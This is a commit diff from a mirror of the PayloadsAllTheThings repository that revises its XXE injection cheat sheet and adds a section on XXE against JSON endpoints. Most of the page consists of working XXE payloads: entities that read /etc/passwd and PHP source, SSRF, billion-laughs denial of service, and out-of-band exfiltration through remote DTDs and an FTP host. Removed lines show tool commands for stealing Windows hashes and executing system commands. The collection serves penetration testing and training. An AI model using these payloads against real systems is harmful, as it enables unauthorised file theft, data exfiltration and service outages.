ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-18 18:36:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

XXE on JSON Endpoints

Browse Source
This commit is contained in:
Swissky 2024-11-18 10:43:39 +01:00
parent 9932059563
commit 846706b87d
1 changed files with 82 additions and 90 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

172
XXE Injection/README.md
View File

@ -6,34 +6,36 @@
## Summary ## Summary
- [Tools](#tools) - [Tools](#tools)
- [Detect the vulnerability](#detect-the-vulnerability) - [Detect The Vulnerability](#detect-the-vulnerability)
- [Exploiting XXE to retrieve files](#exploiting-xxe-to-retrieve-files) - [Exploiting XXE to Retrieve Files](#exploiting-xxe-to-retrieve-files)
- [Classic XXE](#classic-xxe) - [Classic XXE](#classic-xxe)
- [Classic XXE Base64 encoded](#classic-xxe-base64-encoded) - [Classic XXE Base64 Encoded](#classic-xxe-base64-encoded)
- [PHP Wrapper inside XXE](#php-wrapper-inside-xxe) - [PHP Wrapper Inside XXE](#php-wrapper-inside-xxe)
- [XInclude attacks](#xinclude-attacks) - [XInclude Attacks](#xinclude-attacks)
- [Exploiting XXE to perform SSRF attacks](#exploiting-xxe-to-perform-SSRF-attacks) - [Exploiting XXE to Perform SSRF Attacks](#exploiting-xxe-to-perform-SSRF-attacks)
- [Exploiting XXE to perform a denial of service](#exploiting-xxe-to-perform-a-denial-of-service) - [Exploiting XXE to Perform a Denial of Service](#exploiting-xxe-to-perform-a-denial-of-service)
- [Billion Laugh Attack](#billion-laugh-attack) - [Billion Laugh Attack](#billion-laugh-attack)
- [YAML attack](#yaml-attack) - [YAML Attack](#yaml-attack)
- [Parameters Laugh attack](#parameters-laugh-attack) - [Parameters Laugh Attack](#parameters-laugh-attack)
- [Exploiting Error Based XXE](#exploiting-error-based-xxe) - [Exploiting Error Based XXE](#exploiting-error-based-xxe)
- [Error Based - Using Local DTD File](#error-based---using-local-dtd-file) - [Error Based - Using Local DTD File](#error-based---using-local-dtd-file)
- [Error Based - Using Remote DTD](#error-based---using-remote-dtd) - [Error Based - Using Remote DTD](#error-based---using-remote-dtd)
- [Exploiting blind XXE to exfiltrate data out-of-band](#exploiting-blind-xxe-to-exfiltrate-data-out-of-band) - [Exploiting Blind XXE to Exfiltrate Data Out Of Band](#exploiting-blind-xxe-to-exfiltrate-data-out-of-band)
- [Blind XXE](#blind-xxe) - [Blind XXE](#blind-xxe)
- [XXE OOB Attack (Yunusov, 2013)](#xxe-oob-attack-yusonov---2013) - [XXE OOB Attack (Yunusov, 2013)](#xxe-oob-attack-yusonov---2013)
- [XXE OOB with DTD and PHP filter](#xxe-oob-with-dtd-and-php-filter) - [XXE OOB with DTD and PHP Filter](#xxe-oob-with-dtd-and-php-filter)
- [XXE OOB with Apache Karaf](#xxe-oob-with-apache-karaf) - [XXE OOB with Apache Karaf](#xxe-oob-with-apache-karaf)
- [XXE with Local DTD](#xxe-with-local-dtd)
- [WAF Bypasses](#waf-bypasses) - [WAF Bypasses](#waf-bypasses)
- [Bypass via character encoding](#bypass-via-character-encoding) - [Bypass via Character Encoding](#bypass-via-character-encoding)
- [XXE on JSON Endpoints](#xxe-on-json-endpoints)
- [XXE in Java](#xxe-in-java) - [XXE in Java](#xxe-in-java)
- [XXE in exotic files](#xxe-in-exotic-files) - [XXE in Exotic Files](#xxe-in-exotic-files)
- [XXE inside SVG](#xxe-inside-svg) - [XXE Inside SVG](#xxe-inside-svg)
- [XXE inside SOAP](#xxe-inside-soap) - [XXE Inside SOAP](#xxe-inside-soap)
- [XXE inside DOCX file](#xxe-inside-docx-file) - [XXE Inside DOCX file](#xxe-inside-docx-file)
- [XXE inside XLSX file](#xxe-inside-xlsx-file) - [XXE Inside XLSX file](#xxe-inside-xlsx-file)
- [XXE inside DTD file](#xxe-inside-dtd-file) - [XXE Inside DTD file](#xxe-inside-dtd-file)
- [Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents](#windows-local-dtd-and-side-channel-leak-to-disclose-http-responsefile-contents) - [Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents](#windows-local-dtd-and-side-channel-leak-to-disclose-http-responsefile-contents)
- [Labs](#labs) - [Labs](#labs)
- [References](#references) - [References](#references)
@ -41,58 +43,14 @@
## Tools ## Tools
- [xxeftp](https://github.com/staaldraad/xxeserv) - A mini webserver with FTP support for XXE payloads - [staaldraad/xxeftp](https://github.com/staaldraad/xxeserv) - A mini webserver with FTP support for XXE payloads
```ps1 - [lc/230-OOB](https://github.com/lc/230-OOB) - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via [http://xxe.sh/](http://xxe.sh/)
sudo ./xxeftp -uno 443 - [enjoiz/XXEinjector](https://github.com/enjoiz/XXEinjector) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods
./xxeftp -w -wps 5555 - [BuffaloWill/oxml_xxe](https://github.com/BuffaloWill/oxml_xxe) - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)
``` - [whitel1st/docem](https://github.com/whitel1st/docem) - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc
- [230-OOB](https://github.com/lc/230-OOB) - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via [http://xxe.sh/](http://xxe.sh/)
```ps1
$ python3 230.py 2121
```
- [XXEinjector](https://github.com/enjoiz/XXEinjector) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods
```ps1
# Enumerating /etc directory in HTTPS application:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
# Enumerating /etc directory using gopher for OOB method:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
# Second order exploitation:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
# Bruteforcing files using HTTP out of band method and netdoc protocol:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
# Enumerating using direct exploitation:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
# Enumerating unfiltered ports:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
# Stealing Windows hashes:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
# Uploading files using Java jar:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
# Executing system commands using PHP expect:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
# Testing for XSLT injection:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
# Log requests only:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
```
- [oxml_xxe](https://github.com/BuffaloWill/oxml_xxe) - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)
```ps1
ruby server.rb
```
- [docem](https://github.com/whitel1st/docem) - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc
```ps1
./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_document -kt -sx docx
./docem.py -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf payloads/xxe_special_2.txt -kt -pt per_place
./docem.py -s samples/xss_sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm per_place
./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_file -kt -sx docx
```
- [otori](http://www.beneaththewaves.net/Software/On_The_Outside_Reaching_In.html) - Toolbox intended to allow useful exploitation of XXE vulnerabilities.
```ps1
python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "TEMPLATEFILE" "TARGETURL" "BASE64ENCODE" "DOCTYPE" "XMLTAG" --outputbase "./output-generic-solr" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs
```
## Detect the vulnerability ## Detect The Vulnerability
**Internal Entity**: If an entity is declared within a DTD it is called an internal entity. **Internal Entity**: If an entity is declared within a DTD it is called an internal entity.
Syntax: `<!ENTITY entity_name "entity_value">` Syntax: `<!ENTITY entity_name "entity_value">`
@ -113,7 +71,7 @@ Basic entity test, when the XML parser parses the external entities the result s
It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server. It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server.
## Exploiting XXE to retrieve files ## Exploiting XXE to Retrieve Files
### Classic XXE ### Classic XXE
@ -153,13 +111,13 @@ We try to display the content of the file `/etc/passwd`.
<!ENTITY xxe PUBLIC "Any TEXT" "URL"> <!ENTITY xxe PUBLIC "Any TEXT" "URL">
``` ```
### Classic XXE Base64 encoded ### Classic XXE Base64 Encoded
```xml ```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
``` ```
### PHP Wrapper inside XXE ### PHP Wrapper Inside XXE
```xml ```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
@ -183,7 +141,7 @@ We try to display the content of the file `/etc/passwd`.
<foo>&xxe;</foo> <foo>&xxe;</foo>
``` ```
### XInclude attacks ### XInclude Attacks
When you can't modify the **DOCTYPE** element use the **XInclude** to target When you can't modify the **DOCTYPE** element use the **XInclude** to target
@ -194,7 +152,7 @@ When you can't modify the **DOCTYPE** element use the **XInclude** to target
## Exploiting XXE to perform SSRF attacks ## Exploiting XXE to Perform SSRF Attacks
XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) to target another service on the network. XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) to target another service on the network.
@ -208,7 +166,7 @@ XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo
``` ```
## Exploiting XXE to perform a denial of service ## Exploiting XXE to Perform a Denial of Service
:warning: : These attacks might kill the service or the server, do not use them on the production. :warning: : These attacks might kill the service or the server, do not use them on the production.
@ -225,7 +183,7 @@ XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo
<data>&a4;</data> <data>&a4;</data>
``` ```
### YAML attack ### YAML Attack
```xml ```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
@ -239,7 +197,7 @@ h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
``` ```
### Parameters Laugh attack ### Parameters Laugh Attack
A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping. A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping.
@ -334,7 +292,7 @@ Let's break down the payload:
## Exploiting blind XXE to exfiltrate data out-of-band ## Exploiting Blind XXE to Exfiltrate Data Out of Band
Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack. Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.
@ -376,7 +334,7 @@ File stored on http://publicServer.com/parameterEntity_oob.dtd
%all; %all;
``` ```
### XXE OOB with DTD and PHP filter ### XXE OOB with DTD and PHP Filter
```xml ```xml
<?xml version="1.0" ?> <?xml version="1.0" ?>
@ -415,7 +373,7 @@ Send the XML file to the `deploy` folder.
Ref. [brianwrf/CVE-2018-11788](https://github.com/brianwrf/CVE-2018-11788) Ref. [brianwrf/CVE-2018-11788](https://github.com/brianwrf/CVE-2018-11788)
## XXE with local DTD ## XXE with Local DTD
In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this: In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:
```xml ```xml
@ -451,26 +409,33 @@ Assuming payloads such as the previous return a verbose error. You can start poi
]> ]>
<root></root> <root></root>
``` ```
### Cisco WebEx ### Cisco WebEx
```
```xml
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd; %local_dtd;
``` ```
### Citrix XenMobile Server ### Citrix XenMobile Server
```
```xml
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd; %local_dtd;
``` ```
[Other payloads using different DTDs](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md)
* [GoSecure/dtd-finder](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md) - List DTDs and generate XXE payloads using those local DTDs.
## WAF Bypasses ## WAF Bypasses
### Bypass via character encoding ### Bypass via Character Encoding
XML parsers uses 4 methods to detect encoding: XML parsers uses 4 methods to detect encoding:
* HTTP Content Type: `Content-Type: text/xml; charset=utf-8` * HTTP Content Type: `Content-Type: text/xml; charset=utf-8`
* Reading Byte Order Mark (BOM) * Reading Byte Order Mark (BOM)
* Reading first symbols of document * Reading first symbols of document
@ -491,6 +456,31 @@ XML parsers uses 4 methods to detect encoding:
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
``` ```
### XXE on JSON Endpoints
In the HTTP request try to switch the `Content-Type` from **JSON** to **XML**,
| Content Type | Data |
| ------------------ | ---------------------------------- |
| `application/json` | `{"search":"name","value":"test"}` |
| `application/xml` | `<?xml version="1.0" encoding="UTF-8" ?><root><search>name</search><value>data</value></root>` |
* XML documents must contain one root (`<root>`) element that is the parent of all other elements.
* The data must be converted to XML too, otherwise the server will respond with an error.
```json
{
"errors":{
"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."
}
}
```
* [NetSPI/Content-Type Converter](https://github.com/NetSPI/Burp-Extensions/releases/tag/1.4)
## XXE in Java ## XXE in Java
Insecure configuration in 10 different Java classes from three XML processing interfaces (DOM, SAX, StAX) that can lead to XXE: Insecure configuration in 10 different Java classes from three XML processing interfaces (DOM, SAX, StAX) that can lead to XXE:
@ -512,9 +502,10 @@ Ref.
- [Semgrep - XML Security in Java](https://semgrep.dev/blog/2022/xml-security-in-java) - [Semgrep - XML Security in Java](https://semgrep.dev/blog/2022/xml-security-in-java)
- [Semgrep - XML External entity prevention for Java](https://semgrep.dev/docs/cheat-sheets/java-xxe/) - [Semgrep - XML External entity prevention for Java](https://semgrep.dev/docs/cheat-sheets/java-xxe/)
## XXE in exotic files
### XXE inside SVG ## XXE in Exotic Files
### XXE Inside SVG
```xml ```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
@ -565,7 +556,7 @@ _xxe.svg_
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>">
``` ```
### XXE inside SOAP ### XXE Inside SOAP
```xml ```xml
<soap:Body> <soap:Body>
@ -575,7 +566,7 @@ _xxe.svg_
</soap:Body> </soap:Body>
``` ```
### XXE inside DOCX file ### XXE Inside DOCX file
Format of an Open XML file (inject the payload in any .xml file): Format of an Open XML file (inject the payload in any .xml file):
@ -600,11 +591,11 @@ JPG (experimental)
GIF (experimental) GIF (experimental)
``` ```
### XXE inside XLSX file ### XXE Inside XLSX file
Structure of the XLSX: Structure of the XLSX:
``` ```ps1
$ 7z l xxe.xlsx $ 7z l xxe.xlsx
[...] [...]
Date Time Attr Size Compressed Name Date Time Attr Size Compressed Name
@ -667,7 +658,7 @@ Serve DTD and receive FTP payload using [xxeserv](https://github.com/staaldraad/
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000 $ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
``` ```
### XXE inside DTD file ### XXE Inside DTD file
Most XXE payloads detailed above require control over both the DTD or `DOCTYPE` block as well as the `xml` file. Most XXE payloads detailed above require control over both the DTD or `DOCTYPE` block as well as the `xml` file.
In rare situations, you may only control the DTD file and won't be able to modify the `xml` file. For example, a MITM. In rare situations, you may only control the DTD file and won't be able to modify the `xml` file. For example, a MITM.
@ -752,6 +743,7 @@ From https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79
- [OOB XXE through SAML - Sean Melia (@seanmeals) - January 2016](https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf) - [OOB XXE through SAML - Sean Melia (@seanmeals) - January 2016](https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf)
- [Payloads for Cisco and Citrix - Arseniy Sharoglazov - January 1, 2016](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) - [Payloads for Cisco and Citrix - Arseniy Sharoglazov - January 1, 2016](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/)
- [Pentest XXE - @phonexicum - March 9, 2020](https://phonexicum.github.io/infosec/xxe.html) - [Pentest XXE - @phonexicum - March 9, 2020](https://phonexicum.github.io/infosec/xxe.html)
- [Playing with Content-Type – XXE on JSON Endpoints - Antti Rantasaari - April 20, 2015](https://www.netspi.com/blog/technical-blog/web-application-pentesting/playing-content-type-xxe-json-endpoints/)
- [REDTEAM TALES 0X1: SOAPY XXE - Uncover and exploit XXE vulnerability in SOAP WS - Optistream - May 27, 2024](https://www.optistream.io/blogs/tech/redteam-stories-1-soapy-xxe) - [REDTEAM TALES 0X1: SOAPY XXE - Uncover and exploit XXE vulnerability in SOAP WS - Optistream - May 27, 2024](https://www.optistream.io/blogs/tech/redteam-stories-1-soapy-xxe)
- [XML attacks - Mariusz Banach (@mgeeky) - December 21, 2017](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870) - [XML attacks - Mariusz Banach (@mgeeky) - December 21, 2017](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870)
- [XML external entity (XXE) injection - PortSwigger - May 29, 2019](https://portswigger.net/web-security/xxe) - [XML external entity (XXE) injection - PortSwigger - May 29, 2019](https://portswigger.net/web-security/xxe)